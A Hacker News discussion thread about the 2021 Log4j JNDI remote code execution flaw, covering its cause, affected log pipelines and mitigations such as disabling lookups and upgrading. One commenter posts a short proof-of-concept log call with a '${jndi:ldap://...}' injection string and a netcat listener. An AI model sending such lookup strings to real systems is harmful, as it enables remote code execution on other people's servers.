JNDI is an interface to many kinds of naming and directory services. One common-ish use case in enterprise software is to use it as a sort of internal directory inside an application. In particular, the prefix "java:comp/env" identifies a namespace which contains configuration for the current component (servlet or EJB). So it might be rather useful to do a lookup in that when writing log messages. For example, you could have some common utility method shared by multiple components that looks up the current component name and includes it in the log output, so you can tell which component was making a request to the utility method.

The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups!

IMHO, the *real* bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.

▲ BeefWellington on Dec 10, 2021 | root | parent | prev | next [–]

Best guess: Resolving some kind of entity name to a username for some weird auditing requirement few people have ever heard of.

It's the kind of feature I've seen in some software in the past.

That's just a guess though.

▲ Thorrez on Dec 10, 2021 | root | parent | next [–]

The question isn't about the purpose of the feature. The question is why it's implemented with string parsing.

In C, it's unsafe to do

```
printf(string_variable);
```

because variable will get parsed as a format string. The way to solve the vulnerability is

```
printf("%s", string_variable);
```

Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?

▲ didibus on Dec 10, 2021 | root | parent | next [–]

The RCE isn't in the parsing.

What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded.

So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.

▲ Thorrez on Dec 11, 2021 | root | parent | next [–]

I think there are 2 problems:

1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string.

2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs.

Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.

▲ ec109685 on Dec 10, 2021 | root | parent | prev | next [–]

They are arguing that it’s weird that a user supplied string is ever “parsed” versus printf type behavior.

▲ vbezhenar on Dec 10, 2021 | root | parent | prev | next [–]

It's not the same in Java logging libraries. You can write `logger.info("a={}")` and it won't cause any issues. At least that was the case before I read about this misfeature. I still think that log4j did absolutely wrong thing, because there are billions of lines like `logger.info("a=" + a)` and nobody's going to rewrite those lines. Breaking trust in logging library doing sane thing is absolutely terrible approach. I'm going to stick to logback everywhere I can, hopefully they did not do those stupid things.

Safe way should be something like `logger.info("a={}", a)`. Of course nobody's preventing log4j to parse any argument in any way they like. And they actually do. So with log4j there's no safe way it seems.

▲ isbvhodnvemrwvn on Dec 10, 2021 | root | parent | prev | next [–]

You can try to use context in the logging messages, e.g. the ID of the entity you are currently processing (from the HTTP request), but which might for whatever reason not be available in the code (e.g. you don't want to drill it several methods deep)

As a possible solution you can set MDC variables at the higher level, they are bound to the current thread, and reference them in the format string, and unset them after processing the entity. It's not a *great* solution due to temporal coupling, and you typically print it outside of an individual logging statements (e.g. add it to all logging statements), but it definitely beats drilling dozens of methods with the diagnostic identifiers.

▲ QuercusMax on Dec 10, 2021 | root | parent | prev | next [–]

That sounds like exactly the kind of ridiculous feature that would lead to a Java RCE

▲ immibis on Dec 10, 2021 | root | parent | prev | next [–]

To my knowledge JNDI is a monitoring interface allowing you to get various system values like the number of threads, heap size, process ID, etc. Somehow it's capable of being connected to LDAP.

It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't.

And another person didn't document well that log messages must be trusted input...

▲ mtnygard on Dec 10, 2021 | root | parent | next [–]

Too many acronyms. :-)

JNDI was the "Java Naming and Directory Interface", part of the suite of CORBA-like Java-only distributed object tooling.

My guess is that the "lookups" feature in log4j assumed that all URL protocols were "http:" or "https:" and didn't account for either the full set of built-in protocol handlers or the fact that an application can register additional protocol handlers.

▲ hinkley on Dec 10, 2021 | root | parent | prev | next [–]

Get yer pointin' finger ready:

https://github.com/apache/logging-log4j2/blame/master/log4j-...

▲ im3w1l on Dec 10, 2021 | root | parent | next [–]

People should really have known better than to use (unexpected!) in-band signalling. Even 8 years ago.

▲ hinkley on Dec 10, 2021 | root | parent | next [–]

I'm still arguing with people about using the built in url APIs instead of string concatenation.

A person is smart, but people are dumb.

▲ hn_throwaway_99 on Dec 10, 2021 | root | parent | prev | next [–]

"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."

Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.

▲ ianlevesque on Dec 10, 2021 | parent | prev | next [–]

The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's my user-provided input: {}", userInput) rather than log.error(userInput)

▲ natanbc on Dec 10, 2021 | root | parent | next [–]

The RCE works with both ways, start nc (nc -lp 1234) and run this

```
    org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}",
"${jndi:ldap://127.0.0.1:1234/abc}")
```

▲ ianlevesque on Dec 10, 2021 | root | parent | next [–]

Well that's just appalling.

▲ shawnz on Dec 10, 2021 | root | parent | prev | next [–]

What if you are using SLF4J as a front-end to log4j, does it escape these special strings before passing them to the logging system?

▲ joedj on Dec 10, 2021 | root | parent | next [–]

No.

▲ maxdamantus on Dec 10, 2021 | parent | prev | next [–]

The string that is vulnerable is actually not meant to be user input, but a formatting string.

EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this.

The issue occurs in incorrect logging code such as:

> logger.info("Data: " + data);

But the correct way of logging the above data is:

> logger.info("Data: {}", data);

It's analogous to using something like the following in C:

> printf(data);

In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.

▲ natanbc on Dec 10, 2021 | root | parent | next [–]

I posted this in reply to a sibling comment, but the "correct" way is still vulnerable

Start nc (nc -lp 1234) and run this

```
    org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}",
"${jndi:ldap://127.0.0.1:1234/abc}")
```

▲ maxdamantus on Dec 10, 2021 | root | parent | next [–]

Thanks, didn't realise that. So the issue is deeper than misuse of user input (I've edited my post).

▲ koenigdavidmj on Dec 10, 2021 | root | parent | prev | next [–]

It was a few months ago, but if I recall correctly, there were two overrides for info (and the other equivalent methods). info(String, String...) would do {} expansion like you mentioned, but info(String) would log the string directly, not doing format expansion on it.

I'm not sure how this interacts with the RCE issue reported here.

EDIT: That's because I was thinking of Slf4j, which has additional smarts here.

▲ maxdamantus on Dec 10, 2021 | root | parent | next [–]

I'm not aware of that feature, but I guess it would mitigate this issue, since the problematic code:

> logger.info("Data: {}");

would effectively turn into something safe:

> logger.info("{}", "Data: {}");

And the issue would only arise if someone mixes the two patterns:

> logger.info("Data for " + username + ": {}", data);

Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.

▲ immibis on Dec 10, 2021 | root | parent | next [–]

Why though? It is not typical in Java to use format strings, unless you call String.format explicitly. It's not like C where printf-style APIs are common.

▲ maxdamantus on Dec 10, 2021 | root | parent | next [–]

It should work one way or the other, not both. For current logging APIs, the format string is used. It actually turns out that the call using string concatenation corresponds to log4j1 rather than log4j2 (looks like this was an error in the post, though it's being fixed to use log4j2).

I guess aesthetically you could argue either way, but I think the main purpose of the formatting string method is that you can write:

> logger.trace("Updates: {}", longListOfUpdates);

and if trace logging is disabled (which can be done dynamically), it's not going to invoke `longListOfUpdates.toString()`, which is what happens when you perform string concatenation. If it didn't work that way, I suspect people would end up writing extra `logger.isTraceEnabled()` conditions around their logging code.

▲ ievans on Dec 10, 2021 | prev | next [–]

If you'd like to detect whether you're affected by this dynamically, it looks like https://github.com/google/tsunami-security-scanner-plugins/i... will eventually make it into Google's dynamic scanner: https://github.com/google/tsunami-security-scanner (I bet it would be easy to write a plugin for https://github.com/projectdiscovery/nuclei as well.)

To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.

▲ slimbods on Dec 11, 2021 | parent | next [–]

The Activescan++ extension for burp has been updated, but you need to do a manual update to get it:

https://github.com/PortSwigger/active-scan-plus-plus/commit/...

▲ lgrapenthin on Dec 10, 2021 | prev | next [–]

Its just incredible how bloated Log4J is. You'd think a logging library would be rather lightweight, straightforward to configure, no?

No, it is one of those efforts that suffer from their underlying problem being so well understood that, apparently, everybody working on it feels compelled to "enrich" it with more options, config layers, adapters, extensions.

▲ phendrenad2 on Dec 10, 2021 | parent | next [–]

I talked to a guy once who was a "hibernate expert". On his desk he had about 10 books on Hibernate. Coming from the Ruby world, I was amazed and perplexed. Is Hibernate really that much more complex than ActiveRecord? Of course it isn't. But someone benefits complex frameworks and libraries, and libraries that are over-documented to the point of absurdity.

Who benefits is Java developers. Java is a simple to learn language, and almost everyone learns it in college. As a result, competition at the entry level is fierce. You can't break into Java development coming out of college without rote memorization of Java builtin classes, knowing Hibernate and log4j like the back of your hand, and knowing all of the latest acronyms and buzzwords.

This provides a cushy barrier to entry so people who survive that can stay employed without risk from cheaper incoming developers.

▲ immibis on Dec 10, 2021 | parent | prev | next [–]

Well yes, when you have a project that does 99% of what you need, you add the other 1% to the project instead of starting a whole new project. This is just how all software evolves.

▲ jallen_dot_dev on Dec 10, 2021 | root | parent | next [–]

Or you separately implement this feature that only you need. Instead of asking for it to be supported out-of-the-box by this very popular library where it'll operate unbeknownst to everyone else.

▲ christophilus on Dec 10, 2021 | root | parent | prev | next [–]

It's our jobs as engineers to say no, and to try to fight that kitchen-sink tendency. It's exhausting work, though, and I admit to just caving at work from time to time.

▲ _zljm on Dec 10, 2021 | prev | next [–]

Disclaimer, I work for GreyNoise, we monitor the internet for mass scanning/exploitation attempts.

We are currently tracking this activity and have noted almost 100+ hosts checking for this: https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20...

▲ Pxtl on Dec 10, 2021 | prev | next [–]

I give up.

It's got as many eyeballs in it as you could ever hope, and it's as mature as any piece of software ever could be.

And its job is to write text to files. It's basically a wrapper around printf.

How did this get screwed up?

Security is impossible.

▲ IncludeSecurity on Dec 10, 2021 | parent | next [–]

After having worked on software security for 20yrs+ I can tell you first hand that it is a long-term losing game. Libs, frameworks, and SDKs are written to provide functionality and interop. The more functionality/interop they have then the more popular they become and the more vulns they have.

The only winning move is not to code!

....OR learn to live in a state of constant vulns and put guardrails in place so that you can avoid shooting yourself in the foot as much as possible. In this case strict ngress/egress firewall rules in prod would prevent this from ever being exploited from what I've read on the vuln thus far.

▲ rank0 on Dec 10, 2021 | prev | next [–]

I'm amazed at the reaction here. Lots of comments ITT about how this library is horrible and logging should be a solved problem from a security perspective. Similar commentary was here recently regarding some unsafe docker default.

Developers always want abstractions to make programming easier, but they never consider the cost of using those abstractions. It's so convenient to place all the burden on library authors but you're the one logging client supplied input in the first place!

Put a regex whitelist on your inputs wherever there's a trust boundary. How come devs should never have to consider security but FOSS package maintainers do?

▲ chmod775 on Dec 10, 2021 | parent | next [–]

> Put a regex whitelist on your inputs wherever there's a trust boundary.

No. That's a horrible idea because it requires you to think about security in multiple places and get it right every time.

Instead I am going to wrap the horrible logging library that does not automatically escape control characters within arguments in a wrapper that does. Now it's impossible for me to mess up.

Or... you know. One could have designed the logging library in such a sane way in the first place.

▲ rank0 on Dec 11, 2021 | root | parent | next [–]

You should still use input validation for many other reasons besides log injection.

▲ chmod775 on Dec 11, 2021 | root | parent | next [–]

"You cannot use this character in your name because it trips up our logging library".

▲ rank0 on Dec 11, 2021 | root | parent | next [–]

Are you seriously arguing that you don’t think input validation is required for untrusted input?

There’s a myriad of security vulnerabilities based off failing to escape special characters. Use output encoding if you need usernames to have special chars. There’s really no excuse to not sanitize input it’s a basic security principle.

▲ chmod775 on Dec 12, 2021 | root | parent | next [–]

My original comment is a joke to security minded people, because if pentesters/crooks see you're handling your inputs in that manner, they know to keep looking.

Nobody in their right mind will sanitize (and specifically not encode), on receipt, something like a name to be safe for every logging library, query language, or output in HTML/terminal/etc their backend may use. Such an undertaking is even *provably* impossible for combinations where one component requires escape sequences that again would need to be escaped for something else - in a circular manner. And that's just one thing that's *objectively* wrong about the idea.

Beyond the rules applicable to the specific type of input (for example: it should be a correctly UTF-8 encoded string with a maximum length), you treat all user inputs as opaque binary/character/whatever blobs within your system. That means your system certainly *never* parses such a blob looking for 'magic characters'. And only once you're going to do absolutely anything with it you apply sanitation as required for the target - and you make sure it always happens *automatically as a matter of process*. For example: your SQL client library will automatically build queries in a safe manner, your HTML template library will escape all provided strings by default, and your logging library *will not* look for magic characters in format string arguments - that's what the damn format string itself is for!

By all means use whitelists of characters for user-provided inputs (if you know what you're doing and are not going to prevent 2 billion people from using your software because you just deleted their alphabets). But don't even *try* to accommodate your random assortment of current and future backend technology at that point.

▲ rank0 on Dec 12, 2021 | root | parent | next [–]

> Nobody in their right mind will sanitize (and specifically not encode), on receipt, something like a name to be safe for every logging library, query language, or output in HTML/terminal/etc their backend may use. Such an undertaking is even provably impossible for combinations where one component requires escape sequences that again would need to be escaped for something else - in a circular manner. And that's just one thing that's objectively wrong about the idea.

You aren't understanding. You should only need one regex per input. It's super easy. Developers should understand what data their applications expect to receive from a client.

From OWASP:

"Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering malfunction of various downstream components. *Input validation should happen as early as possible in the data flow*, preferably as soon as the data is received from the external party."

See https://owasp.org/www-community/Injection_Flaws for more details.

> For example: your SQL client library will automatically build queries in a safe manner, your HTML template library will escape all provided strings by default, and your logging library will not look for magic characters in format string arguments - that's what the damn format string itself is for!

Except when those libraries fail. Just like in the headline for TFA. Libraries can't always fix insecure application logic.

I don't understand how you think additional security checks are somehow detrimental. If I know some URL parameter should be a 16 character alphanumeric string, it should take you about 10 seconds to make a regex for that.

▲ chmod775 on Dec 13, 2021 | root | parent | next [–]

First off, how nice of you to quote only the first and last part of my comment while paraphrasing the middle part as if you're telling me something new:

> Beyond the rules applicable to the specific type of input (for example: it should be a correctly UTF-8 encoded string with a maximum length)

versus

> You aren't understanding. You should only need one regex per input.

Also you're hopping between sanitation and validation as if you believe they're the same thing. My original example was a case of doing specifically *validation* badly and you specifically spoke about validation in your original comment. You then replied with a comment suggesting one should apply encoding, specifically escaping, to inputs. That is *not* called validation.

Apparently with this most recent comment we're back to validation.

At this point I don't know how to talk to you because you seem to make this conversation about something new with each comment and I'm past humoring it.

▲ rank0 on Dec 13, 2021 | root | parent | next [–]

> Also you're hopping between sanitation and validation as if you believe they're the same thing. My original example was a case of doing specifically validation badly and you specifically spoke about validation in your original comment. You then replied with a comment suggesting one should apply encoding, specifically escaping, to inputs. That is not called validation.

You know what, I admit my writing isn't excellent. I'm fully aware of the difference between sanitization and validation and frequently lump them together in technical conversations. Input validation/sanitization along with OUTPUT encoding, are major

security controls that should be present in your application and proper use of these techniques will protect you most of the time with your dependencies have a security flaw.

> At this point I don't know how to talk to you because you seem to make this conversation about something new with each comment and I'm past humoring it.

You replied to me saying that regex whitelists on untrusted input was "a horrible idea" and "objectively wrong". You argued that libraries should safely handle the untrusted input for you. You argued that validation/sanitization should not happen immediately upon receipt on the input. These points are just wrong. I'm not trying to be a dick, and I think its possible to have a constructive conversation here.

Full disclosure: My day job is as a web application pentester. I've tested/reviewed hundreds of applications.

I don't expect devs to be experts on security, but what triggered my ORIGINAL comment was all the software engineers ITT bashing open source libraries without considering security in their own code.

▲ BarryMilo on Dec 11, 2021 | root | parent | prev | next [–]

Your username gave me flashbacks of terribly designed web stacks lol

▲ wielebny on Dec 10, 2021 | prev | next [–]

This is exploitable in applications that use Elastic Stack with logstash as a log processor. I've just been able to reproduce it in an Magento ecommerce with payload inserted into payments details.

▲ tetha on Dec 10, 2021 | parent | next [–]

This why it is utmost critical to deploy the mitigating fixes to the core log aggregations first. Elasticsearch, Logstash, Graylog probably too. The vector here is even more annoying, you can think of something like:

Unrelated app writes stuff to a logfile. This get's shipped to logstash. The log message was crafted in a way to break the logstash pipeline with an exception (invalid json, grok errors or something)... which get's written to the log of logstash, including parts of the original message.

Or, you can trigger indexing errors in elasticsearch by forcing individual keys in events to have conflicting types (send "banana: 42" first, making it an int, and then send "banana: '42'", making it a string). This can cause ES to dump the field name, and sometimes a value if I recall right, to it's own log.

In both cases, this could potentially compromise a vulnerable log aggregation behind an unaffected service.

▲ terom on Dec 13, 2021 | parent | prev | next [–]

Per ESA-2021-31 [1] the common mitigation is not sufficient for logstash:

> The widespread flag -Dlog4j2.formatMsgNoLookups=true is NOT sufficient to mitigate the vulnerability in Logstash in all cases, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:

Logstash 7.16.1 should be out today to fix this... update even if mitigated:

> Users should upgrade to Logstash 6.8.21 or 7.16.1 once they are released (expected Monday 13th December). These releases will replace vulnerable versions of Log4j with Log4j 2.15.0.

EDIT: 7.16.1 is out in GitHub, but not yet everywhere on elastic co: https://github.com/elastic/logstash/releases/tag/v7.16.1

[1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execu...

▲ wielebny on Dec 10, 2021 | parent | prev | next [–]

Worth noting: possible only because log line was malformed and logstash complained about it through log4j.

▲ robertelder on Dec 10, 2021 | prev | next [–]

I've been thinking about this since I saw it here on HN yesterday, and I can't help but entertain the idea that this might end up being 'the worst software security flaw ever'.

▲ brabel on Dec 10, 2021 | parent | next [–]

We tested this on several JVM versions and found you needed to go really far back, to around Java 8u121 I think, to see the specific exploit using LDAP+HTTP class loading work because they changed the value of the JVM property that allows loading a class file from a remote codebase... however, as this article points out, quite mind blowingly, early JDK11 releases also seem to have been vulnerable (I believe at least JDK 11.0.2 is not vulnerable anymore, but can't confirm right now).

We also found that other similar exploits based on JNDI can work even if the one based on LDAP redirecting class loading to a malicious HTTP server doesn't (I won't mention it here because it makes it much easier to exploit, so disabling log4j's evaluation of jndi patterns or migrating to the patched version is absolutely necessary, still).

▲ robertelder on Dec 10, 2021 | root | parent | next [–]

Interesting, thank you for that analysis. From what I understand, the RCE exploit really needs two things to work: 1) The interpretation of the JNDI reference by log4j, and 2) The 'auto-execute loaded classes' (which I don't quite understand).

Is there any kind of low-level flag you can pass to Java or your environment to completely disable JNDI? I recall that there is a flag you can pass to log4j, but I can't see any reason why I would ever use JNDI anywhere in Java.

Also, do you have any additional insights on how exactly the mechanism for 2) works? From what I understand, this is a feature of Java itself?

▲ brabel on Dec 11, 2021 | root | parent | next [–]

If you're using the Java Module System and deploying via jlink, you can make sure to not include these modules and JNDI won't be available at all:

```
java.naming@version
jdk.naming.dns@version
jdk.naming.ldap@version
jdk.naming.rmi@version
```

To list the modules your JDK has, use `java --list-modules`.

If you're not using the module system, you can't completely disable JNDI, but you can tell the JVM to not load classes from a remote host by setting the system property "com.sun.jndi.ldap.object.trustURLCodebase" to "false". This has been the default in most JDKs for several years, but apparently some folks still somehow got victim to this. There are other configuration properties you can adjust listed in the javadocs for javax.naming.Context at https://docs.oracle.com/javase/8/docs/api/index.html?javax/n....

The LDAP/JNDI exploit works because when JNDI performs a lookup (and in this case, simply logging a message with `${jndi:...}` on log4j would trigger that), it might connect to a remote host that's in control of the attacker... the LDAP response from whatever LDAP server that got contacted may contain all sorts of instructions for the JVM to load classes remotely, from a HTTP server anywhere on the internet, for example. The attack I've seen used the LDAP ObjectFactory that lets the LDAP response tell where to get the bytecode of another ObjectFactory via any URL. If the JVM "com.sun.jndi.ldap.object.trustURLCodebase" property were false, this would've been blocked, but otherwise, the attacker class would be loaded and could immediately run (via a static block for example) any Java code at all on your server. Notice that this is a feature of LDAP, not a bug, but it should never have been possible for untrusted input to be used in JNDI lookup, for obvious reasons. There are other ways to "bypass" this flag by using other LDAP features that load remote code (won't list them here, but they're easy to find if you know LDAP and JNDI) or using another JNDI provider (RMI, CORBA) in case the libraries you have in the classpath include another ObjectFactory that loads remote code (e.g. many JDBC Drivers, Apache Tomcat etc.) - it's impossible to tell how many similar attacks become possible once you have JNDI opened up to untrusted input.

This attack has been known for several years... if you look hard enough you'll find whole toolkits showing how to perform these attacks dating back at least 6 years, from what I found.

Here's a detailed writeup from 2016: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-...

▲ keyle on Dec 10, 2021 | parent | prev | next [–]

We need proactive logging to see when something dodgy is going on!

```
*boned by proactive logging*
```

▲ blibble on Dec 10, 2021 | parent | prev | next [–]

absolutely, most vulnerabilities are stopped by the frontend

this one gets all the way through and hits the backend

better hope your backend is on a separate LAN with no internet access..!

▲ tetha on Dec 10, 2021 | root | parent | next [–]

This one could possibly hit past the backend and hit tools like sentry, a log aggregation and such, through an unaffected backend.

▲ dylan604 on Dec 10, 2021 | parent | prev | next [–]

nah, it's just a logging package that not everyone uses. it would be much worse if it was in an OS of some sort.

▲ anyfoo on Dec 10, 2021 | root | parent | next [–]

Would it? It's a *very common* logging package, and Java is cross-platform. I also think OSes tend to be updated more often than JDKs (but I'm not sure).

▲ nonameiguess on Dec 10, 2021 | root | parent | prev | next [–]

It's used by Elasticsearch, so possible you could exploit the log aggregation service even if the app-level logging library isn't vulnerable, but you'd need a way to make sure the first-level logging doesn't interpret the format string.

▲ jpeter on Dec 11, 2021 | root | parent | prev | next [–]

Everyone uses it: https://github.com/YfryTchsGD/Log4jAttackSurface

▲ fotta on Dec 10, 2021 | prev | next [–]

an immediate remediation is to set log4j.formatMsgNoLookups=true or log4j2.formatMsgNoLookups=true

ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...

▲ dikei on Dec 10, 2021 | parent | next [–]

Seem like they updated the doc to version 2.15, which no longer has this configuration. Here's the link for version 2.14.1

https://logging.apache.org/log4j/log4j-2.14.1/manual/configu...

▲ acdha on Dec 10, 2021 | parent | prev | next [–]

That text isn't present on that page any more – it looks like that was silently removed at some point after December 4th:

https://web.archive.org/web/20211204140505/https://logging.a...

▲ fotta on Dec 10, 2021 | root | parent | next [–]

I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"

▲ jldugger on Dec 10, 2021 | root | parent | next [–]

Wonder why the documentation changed so recently

▲ dikei on Dec 10, 2021 | root | parent | next [–]

Because they remove message lookup in version 2.15.

https://issues.apache.org/jira/browse/LOG4J2-3198

▲ freeqaz on Dec 10, 2021 | parent | prev | next [–]

There is also a patch available in `log4j-2.15.0-rc1` now.

https://github.com/apache/logging-log4j2/releases/tag/log4j-...

▲ TheRealDunkirk on Dec 10, 2021 | prev | next [–]

176K LOC. For a logging library? Oh! It's for Java. It all makes sense now.

(Yes, I've written in Java, and, of course, I used log4j in the project.)

Just reminds me of this: https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpris...

▲ skim_milk on Dec 10, 2021 | parent | next [–]

For comparison, in .NET Core the default logger and all extensions in the dotnet/runtime repo are 9014 LOC (19.5k if including tests)

```
    find -E src/libraries -iregex '.*\.cs$' | grep 'src/libraries/Microsoft.Extensions.Logging' | grep -v 'tests' | xargs cat | grep -v -e '^$' | wc -l
```

▲ phendrenad2 on Dec 10, 2021 | parent | prev | next [–]

That's funny, but it actually doesn't make sense. Java file operations involve a lot of boilerplate, so it's understandable that logging frameworks exist in Java. However, as the leading framework, log4j quickly developed "Feature Creep" and now... it has templating? A plugin architecture? Translations? Can it parse POP3 email logs yet?

https://en.wikipedia.org/wiki/Feature_creep

https://en.wikipedia.org/wiki/Second-system_effect

http://www.catb.org/jargon/html/Z/Zawinskis-Law.html

▲ Spivak on Dec 10, 2021 | parent | prev | next [–]

Log4j has a stupid amount of features though, it's basically a full featured logging library, plus Filebeat and Logstash all in one lib.

▲ scottlamb on Dec 10, 2021 | root | parent | next [–]

> Log4j has a stupid amount of features though, it's basically a full featured logging library, plus Filebeat and Logstash all in one lib.

"Stupid" for once is the correct word. I don't want a feature where my log library downloads code from an LDAP server and runs it. I don't want a feature where interpolation is run not only on my hardcoded format string but also in the variables it references.

When software has many features, we often assume they're disabled unless we deliberately enable them and so they do little harm (other than increased code size). But this kind of on by default behavior is something else entirely.

▲ TheRealDunkirk on Dec 10, 2021 | root | parent | prev | next [–]

I get it, but it really makes the case that the bog-standard library that literally EVERYONE on EVERY Java project uses be simpler, and push those other features out to other libraries.

▲ intunderflow on Dec 10, 2021 | prev | next [–]

The amount of impact this has is absolutely mind-boggling: https://github.com/YfryTchsGD/Log4jAttackSurface/tree/master...

▲ qdot76367 on Dec 10, 2021 | prev | next [–]

Good twitter thread summarizing the situation: https://twitter.com/dzikoysk/status/1469091718867951618

▲ jpomykala on Dec 10, 2021 | parent | next [–]

„ Also, we can't be sure about whole scenario. There're reports that indicates this RCE is still possible in 2.15+ RCs builds, so there is a chance there are also other gateways to achieve the same effect.”

▲ jacquesm on Dec 10, 2021 | parent | prev | next [–]

'dumpsterfire' would be a lot more concise.

▲ HelloNurse on Dec 10, 2021 | prev | next [–]

Appallingly severe because instead of having to carefully corrupt the stack or guess malicious SQL queries the adversary is *deliberately* provided with a general interpreter, ready to run arbitrary downloaded code without checks.

▲ foobarian on Dec 10, 2021 | prev | next [–]

Well obviously we need a way in our LOGGING LIBRARY to download binary blobs off the Internet and execute them from log messages. Sigh

▲ abhishekjha on Dec 10, 2021 | parent | next [–]

This is what has me scratching my head. What is the usecase that somebody is using LDAP to load remote classes?

I am your run of the mill CRUD developer but I haven't had to load remote classes ever.

Is this some framework level stuff? Was this an opt-in kinda scenario?

▲ xorcist on Dec 10, 2021 | root | parent | next [–]

Here's how: https://issues.apache.org/jira/browse/LOG4J2-313

"Here's a feature I just thought of"

"Boom. Merged."

That kind of interaction isn't uncommon. Lots of projects in this ecosystem are abstractions built on abstractions, and value features over everything else.

▲ duxup on Dec 10, 2021 | parent | prev | next [–]

Or just make network requests from the logging framework when data comes in from, anywhere, and it’s just turned on by default.

Not that I can’t think of a use but it’s just on and no white list or…something?

▲ mkleczek on Dec 10, 2021 | prev | next [–]

This is actually worse than log4j. Any code accessing JNDI using URIs from external data is vulnerable. Script injection (aka XSS) at its finest.

Looks like a good use case for running under SecurityManager with a restrictive policy.

Maybe it is time to reconsider JEP 411?

▲ vips7L on Dec 10, 2021 | parent | next [–]

In practice I’ve never met anyone who actually uses The Security Manager. So it might have been able to stop this with the proper configuration but I doubt anyone would have configured it to do so.

▲ mkleczek on Dec 10, 2021 | root | parent | next [–]

And this is the root problem as that's equivalent to running software as root.

▲ immibis on Dec 10, 2021 | parent | prev | next [–]

How many code accesses JNDI using URIs for external data? Debug tools, presumably. Monitoring tools.

▲ mkleczek on Dec 10, 2021 | root | parent | next [–]

Any JEE code that uses container provided resources. So a lot...

▲ reidrac on Dec 10, 2021 | prev | next [–]

When I started working with Scala, it really surprised me how the JVM world deals with dependencies (include an upstream jar directly in the project, as opposed to the Linux distro model where you use your distributor packages so you have security and bug fixes).

I'm a big fan of Dependency Check[1].

There are hosted services that can give you security scans, but if you don't have access to that (some have a cost) or you are maintaining an open source project, Dependency Check is mostly great (there are some issues every now and then with false positives, but the maintainers are great and responsive and they deal with reports very quickly).

There are also plugins for several building tools (e.g. sbt for Scala projects).

1: https://owasp.org/www-project-dependency-check/

EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated!

▲ oauea on Dec 10, 2021 | parent | next [–]

> include an upstream jar directly in the project, as opposed to the Linux distro model where you use your distributor packages so you have security and bug fixes

good luck getting all your versions to be compatible if you do that. Oh, now your java app can only run on Ubuntu 16.04? But our customers use CentOS 7? Guess they're out of luck.

> EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated!

Just run `mvn dependency:tree` or the gradle equivalent.

▲ philipwhiuk on Dec 11, 2021 | parent | prev | next [–]

Worth saying that dependency-check I'm pretty sure hadn't picked it up as of Friday. It takes a while to get to the NVD lists and with this bug you don't have that kind of time.

It's good for preventing people adding known-insecure libraries though.

▲ johnthuss on Dec 10, 2021 | prev | next [–]

log4j is a very popular and ubiquitous Java library. Having a zero-day remote code execution vulnerability in it is a serious problem that undoubtedly affects a huge portion of the internet.

▲ tbarbugli on Dec 10, 2021 | parent | next [–]

Very easy to exploit as well: https://github.com/YfryTchsGD/Log4jAttackSurface

▲ cogman10 on Dec 10, 2021 | parent | prev | next [–]

It's almost mind boggling that it went for so long undetected. It's been sitting there for 7 years.

▲ commandlinefan on Dec 10, 2021 | root | parent | next [–]

> so long undetected

... that we know of.

▲ jesstaa on Dec 10, 2021 | root | parent | prev | next [–]

'Shellshock' was sitting there since 1989 and only detected in 2014.

▲ abhishekjha on Dec 10, 2021 | root | parent | prev | next [–]

So how was it detected now? Who reported it first and what were they looking for?

▲ tetha on Dec 10, 2021 | parent | prev | next [–]

After ~12 hours of getting this mitigated at work, yeah. The only things I could imagine much worse would be broken RSA, or something like this in the linux network stack. Even something in SSHD would be less bad,

because SSHDs tend to be protected. This occurs in the main business function of requests.

▲ throwaway81523 on Dec 10, 2021 | prev | next [–]

